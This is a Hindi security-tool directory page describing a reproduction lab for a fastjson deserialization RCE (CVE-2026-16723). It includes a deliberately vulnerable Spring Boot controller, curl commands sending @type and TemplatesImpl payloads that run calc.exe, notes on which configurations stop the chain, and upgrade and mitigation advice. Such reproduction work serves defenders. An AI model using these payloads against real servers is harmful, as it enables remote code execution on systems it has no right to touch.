Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
fastjson-cve — CVE-2026-16723 के लिए प्रजनन परियोजना, जो fastjson 1.2.68-1.2.83 में एक गंभीर RCE है। AutoType बाईपास, JNDI इंजेक्शन, और कमजोर Spring Boot एंडपॉइंट्स के साथ TemplatesImpl इन-मेमोरी पेलोड का प्रदर्शन करता है। | Kitploit
उपकरण/GitHubGitHub/ipisav/fastjson-cve
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेपर और शोधलर्निंग और शिक्षा
GitHubipisav/fastjson-cve

fastjson-cve

CVE-2026-16723 के लिए प्रजनन परियोजना, जो fastjson 1.2.68-1.2.83 में एक गंभीर RCE है। AutoType बाईपास, JNDI इंजेक्शन, और कमजोर Spring Boot एंडपॉइंट्स के साथ TemplatesImpl इन-मेमोरी पेलोड का प्रदर्शन करता है।

रिपॉजिटरी देखें
1420 दिन पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-16723 प्रजनन परियोजना

अवलोकन

यह परियोजना CVE-2026-16723 का प्रजनन करती है — fastjson 1.2.68 से 1.2.83 में एक गंभीर रिमोट कोड निष्पादन (RCE) भेद्यता। यह भेद्यता डिफ़ॉल्ट कॉन्फ़िगरेशन के तहत RCE की अनुमति देती है, बिना AutoType सक्षम करने या पूर्व-मौजूद क्लासपाथ गैजेट्स की आवश्यकता के।

गुणमान
CVE IDCVE-2026-16723
घटकfastjson
प्रभावित संस्करण1.2.68 – 1.2.83
स्थिर संस्करण1.2.84+, 2.0.0+
भेद्यता प्रकारडिसीरियलाइज़ेशन / RCE
गंभीरताCVSS 3.1: 9.0 (क्रिटिकल)
हमला वेक्टरनेटवर्क
जटिलतानिम्न
आवश्यक विशेषाधिकारकोई नहीं
उपयोगकर्ता सहभागिताकोई नहीं

परियोजना संरचना

root@kitploit:~
fastjson-cve-2026-16723/
├── pom.xml                              # मुख्य परियोजना (कमजोर fastjson के साथ Spring Boot ऐप)
├── src/main/java/com/example/cve/
│   ├── FastjsonCveApplication.java      # Spring Boot प्रवेश बिंदु
│   └── controller/
│       └── VulnerableController.java    # कमजोर REST एंडपॉइंट्स
├── malicious/                           # अलग मॉड्यूल: आपूर्ति श्रृंखला सिमुलेशन के लिए दुर्भावनापूर्ण JAR
│   ├── pom.xml
│   └── src/main/java/exploit/
│       ├── MaliciousClass.java          # स्टैटिक इनिशियलाइज़र के साथ दुर्भावनापूर्ण क्लास
│       ├── EvilTranslet.java            # TemplatesImpl इन-मेमोरी मोड के लिए दुर्भावनापूर्ण ट्रांसलेट
│       └── GenTemplatesPayload.java     # TemplatesImpl JSON पेलोड उत्पन्न करता है
├── templates-payload.json               # उत्पन्न TemplatesImpl पेलोड (प्रत्यक्ष वैरिएंट)
├── templates-payload-preload.json       # उत्पन्न TemplatesImpl पेलोड (क्लास प्रीलोड वैरिएंट)
├── target/
│   └── fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar
└── malicious/target/
    └── malicious-jar-1.0.jar

भेद्यता विवरण

मूल कारण

fastjson 1.2.68–1.2.83 में AutoType सुरक्षा तंत्र में एक बायपास मौजूद है। यहां तक कि डिफ़ॉल्ट कॉन्फ़िगरेशन (autoTypeSupport=false) के साथ भी, हमलावर निम्नलिखित एक्सप्लॉइट श्रृंखलाओं का उपयोग करके क्राफ्टेड JSON पेलोड के माध्यम से मनमानी क्लासेस इंस्टैंशिएट कर सकते हैं:

  1. java.lang.Class + com.sun.rowset.JdbcRowSetImpl (JNDI इंजेक्शन)
  2. java.lang.Runtime (प्रत्यक्ष कमांड निष्पादन)
  3. आपूर्ति श्रृंखला हमला क्लासपाथ पर दुर्भावनापूर्ण JAR के माध्यम से (@type: exploit.MaliciousClass)

कमजोर कोड

VulnerableController.java — दो एंडपॉइंट्स समस्या प्रदर्शित करते हैं:

root@kitploit:~
@PostMapping("/parse")
public String parseJson(@RequestBody String json) {
    // कमजोर: डिफ़ॉल्ट कॉन्फ़िग के साथ JSON.parseObject
    // ParserConfig.getGlobalInstance().setAutoTypeSupport(true) की आवश्यकता नहीं है!
    JSONObject obj = JSON.parseObject(json);
    return "Parsed: " + obj.toJSONString();
}

@PostMapping("/deserialize")
public String deserializeJson(@RequestBody String json) {
    // Object में डिसीरियलाइज़ेशन बलपूर्वक करें — वास्तविक क्लास इंस्टैंशिएशन ट्रिगर करता है
    Object obj = JSON.parse(json);
    return "Deserialized: " + obj.getClass().getName();
}

परियोजना का निर्माण

पूर्वापेक्षाएँ

  • Java 8+
  • Maven 3.6+

निर्माण कमांड

root@kitploit:~
# मुख्य एप्लिकेशन बनाएं
mvn clean package -DskipTests

# दुर्भावनापूर्ण JAR बनाएं (अलग मॉड्यूल)
cd malicious && mvn clean package && cd ..

आउटपुट आर्टिफैक्ट्स

  • target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar — Spring Boot फैट JAR
  • malicious/target/malicious-jar-1.0.jar — exploit.MaliciousClass के साथ दुर्भावनापूर्ण JAR

एप्लिकेशन चलाना

root@kitploit:~
java -jar target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar

सर्वर http://localhost:8080 पर शुरू होता है

रनटाइम आवश्यकता: यह परियोजना Java 8 को लक्षित करती है और TemplatesImpl इन-मेमोरी मोड JDK 8 पर सत्यापित है। JDK 9+ पर मॉड्यूल सिस्टम java.xml आंतरिक तत्वों तक रिफ्लेक्टिव एक्सेस को अवरुद्ध करता है, इसलिए श्रृंखला Error: create instance error, class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl के साथ विफल हो जाती है जब तक कि आप --add-opens फ्लैग नहीं जोड़ते:

root@kitploit:~
java --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
     --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc=ALL-UNNAMED \
     -jar target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar

सत्यापित करें कि क्लासपाथ में दुर्भावनापूर्ण JAR शामिल है

मुख्य pom.xml दुर्भावनापूर्ण JAR को निर्भरता के रूप में घोषित करता है, इसलिए यह फैट JAR में बंडल होता है:

root@kitploit:~
<dependency>
    <groupId>exploit</groupId>
    <artifactId>malicious-jar</artifactId>
    <version>1</version>
</dependency>

रनटाइम पर सत्यापित करें:

root@kitploit:~
curl http://localhost:8080/api/debug

भेद्यता का परीक्षण

स्वास्थ्य जांच

root@kitploit:~
curl http://localhost:8080/api/test

अपेक्षित: CVE-2026-16723 Reproduction Endpoint Ready...


आपूर्ति श्रृंखला हमला (क्लासपाथ पर दुर्भावनापूर्ण क्लास)

malicious मॉड्यूल exploit.MaliciousClass प्रदान करता है जिसमें एक स्टैटिक इनिशियलाइज़र है जो क्लास लोड होने पर calc.exe निष्पादित करता है।

root@kitploit:~
curl -X POST http://localhost:8080/api/deserialize \
  -H "Content-Type: application/json" \
  -d '{"@type":"exploit.MaliciousClass"}'

परिणाम:

root@kitploit:~
>>> MALICIOUS STATIC INITIALIZER EXECUTED <<<
>>> MaliciousClass constructor called <<<

और सर्वर पर calc.exe लॉन्च होता है।

नोट: यह एक आपूर्ति श्रृंखला परिदृश्य प्रदर्शित करता है जहां क्लासपाथ पर एक दुर्भावनापूर्ण निर्भरता मौजूद है। भेद्यता क्लासपाथ पर किसी भी क्लास के इंस्टैंशिएशन की अनुमति देती है, न केवल JDK क्लासेस की।


इन-मेमोरी बाइटकोड मोड (TemplatesImpl, कोई बाहरी सर्वर आवश्यक नहीं)

आपूर्ति श्रृंखला मोड (जिसे क्लासपाथ पर दुर्भावनापूर्ण क्लास की आवश्यकता होती है) और JNDI मोड (जिसे LDAP/RMI सर्वर की आवश्यकता होती है) के विपरीत, यह मोड दुर्भावनापूर्ण बाइटकोड को सीधे पेलोड में एम्बेड करता है और इसे com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl के माध्यम से मेमोरी से लोड करता है — कुछ भी अतिरिक्त तैनात करने की आवश्यकता नहीं है।

चरण 1 — पेलोड उत्पन्न करें:

root@kitploit:~
cd malicious && mvn -DskipTests clean install && cd ..
java -cp malicious/target/malicious-jar-1.0.jar exploit.GenTemplatesPayload

यह exploit.EvilTranslet (एक AbstractTranslet उपवर्ग जिसका स्टैटिक इनिशियलाइज़र calc.exe चलाता है) संकलित करता है, इसके .class बाइट्स को base64-एन्कोड करता है, और लिखता है:

  • templates-payload.json — प्रत्यक्ष वैरिएंट ("@type": "TemplatesImpl")
  • templates-payload-preload.json — java.lang.Class प्रीलोड वैरिएंट

चरण 2 — पेलोड फायर करें:

root@kitploit:~
curl -X POST http://localhost:8080/api/deserialize-autotype \
  -H "Content-Type: application/json" \
  --data-binary @templates-payload.json

परिणाम:

root@kitploit:~
>>> EVIL TRANSLET STATIC INITIALIZER EXECUTED <<<
>>> EvilTranslet constructor called <<<

और सर्वर पर calc.exe लॉन्च होता है।

⚠️ अनुभवजन्य निष्कर्ष (fastjson 1.2.83 के विरुद्ध सत्यापित): TemplatesImpl श्रृंखला शुद्ध डिफ़ॉल्ट कॉन्फ़िगरेशन के तहत ट्रिगर करने योग्य नहीं है:

  • प्रत्यक्ष @type पेलोड AutoType denyList द्वारा अस्वीकार कर दिया जाता है (autoType is not support)।
  • java.lang.Class प्रीलोड श्रृंखला दो मामलों में विफल होती है: java.lang.Class स्वयं denyList पर है (autoType is not support. java.lang.Class), और यहां तक कि TemplatesImpl को आंतरिक क्लास मैपिंग में प्रीलोड करना भी denyList को बायपास नहीं करता — 1.2.47-युग मैपिंग बायपास 1.2.83 पर ठीक कर दिया गया है।
  • अकेले autoTypeSupport(true) भी पर्याप्त नहीं है: denyList autoType फ्लैग पर प्राथमिकता लेता है।
  • श्रृंखला केवल तब फायर होती है जब क्लास को ParserConfig.addAccept(...) के माध्यम से व्हाइटलिस्ट किया जाता है (acceptList की denyList पर प्राथमिकता होती है) और Feature.SupportNonPublicField सक्षम होता है (TemplatesImpl के _bytecodes/_name/_tfactory प्राइवेट फील्ड हैं)।
  • /api/deserialize-autotype एंडपॉइंट ठीक इसी संयोजन को लागू करता है।
  • रनटाइम: श्रृंखला JDK 8 पर सत्यापित है। JDK 9+ पर मॉड्यूल सिस्टम java.xml आंतरिक तत्वों तक रिफ्लेक्टिव एक्सेस को अवरुद्ध करता है, इसलिए इंस्टेंस निर्माण Error: create instance error, class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl के साथ विफल हो जाता है जब तक कि Running the Application में JVM फ्लैग का उपयोग न किया जाए।

एंडपॉइंटव्यवहार
POST /api/parseJSONObject में पार्स करता है — सभी पेलोड के लिए पूर्ण डिसीरियलाइज़ेशन ट्रिगर नहीं कर सकता
POST /api/deserializeObject में पार्स करता है — पूर्ण डिसीरियलाइज़ेशन और क्लास इंस्टैंशिएशन बलपूर्वक करता है (डिफ़ॉल्ट कॉन्फ़िग)
POST /api/deserialize-nonpublicJSON.parse + Feature.SupportNonPublicField — प्राइवेट फील्ड लिखता है, लेकिन denyList अभी भी TemplatesImpl को अवरुद्ध करता है
POST /api/deserialize-autotypeAutoType + addAccept + SupportNonPublicField — TemplatesImpl इन-मेमोरी श्रृंखला फायर करता है

दुर्भावनापूर्ण क्लास एक्सप्लॉइट के लिए, स्टैटिक इनिशियलाइज़र ट्रिगर करने के लिए /api/deserialize आवश्यक है।


स्थिर संस्करण

fastjson को पैच किए गए संस्करण में अपग्रेड करें:

root@kitploit:~
<!-- विकल्प 1: fastjson 1.x (1.x उपयोगकर्ताओं के लिए अनुशंसित) -->
<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.84</version>
</dependency>

<!-- विकल्प 2: fastjson 2.x (नई परियोजनाओं के लिए अनुशंसित) -->
<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson2</artifactId>
    <version>2.0.0</version>
</dependency>

शमन (यदि अपग्रेड तुरंत संभव नहीं है)

root@kitploit:~
// AutoType को वैश्विक रूप से अक्षम करें (आंशिक शमन — एक्सप्लॉइट श्रृंखलाएं अभी भी बायपास कर सकती हैं)
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);

// या safeMode का उपयोग करें (fastjson 1.2.68+)
ParserConfig.getGlobalInstance().setSafeMode(true);

संदर्भ

  • NVD CVE-2026-16723
  • Alibaba fastjson2 Security Advisory
  • fastjson GitHub Repository

⚠️ कानूनी अस्वीकरण

यह परियोजना केवल शैक्षिक और रक्षात्मक सुरक्षा अनुसंधान उद्देश्यों के लिए है।

  • उन सिस्टमों के विरुद्ध उपयोग न करें जिनके स्वामी आप नहीं हैं या जिनके परीक्षण के लिए स्पष्ट लिखित अनुमति नहीं है।
  • लेखक इस कोड के उपयोग से उत्पन्न किसी भी दुरुपयोग, क्षति या कानूनी परिणामों के लिए जिम्मेदार नहीं है।
  • भेद्यताओं की खोज करते समय हमेशा जिम्मेदार प्रकटीकरण प्रथाओं का पालन करें।
  • यह प्रजनन प्रदर्शन के लिए एक हानिरहित पेलोड (calc.exe) का उपयोग करता है; वास्तविक एक्सप्लॉइट गंभीर नुकसान पहुंचा सकते हैं।

लाइसेंस

यह परियोजना सुरक्षा अनुसंधान के लिए यथा-स्थिति प्रदान की गई है। कोई वारंटी व्यक्त या निहित नहीं है।

टूल डाउनलोड करें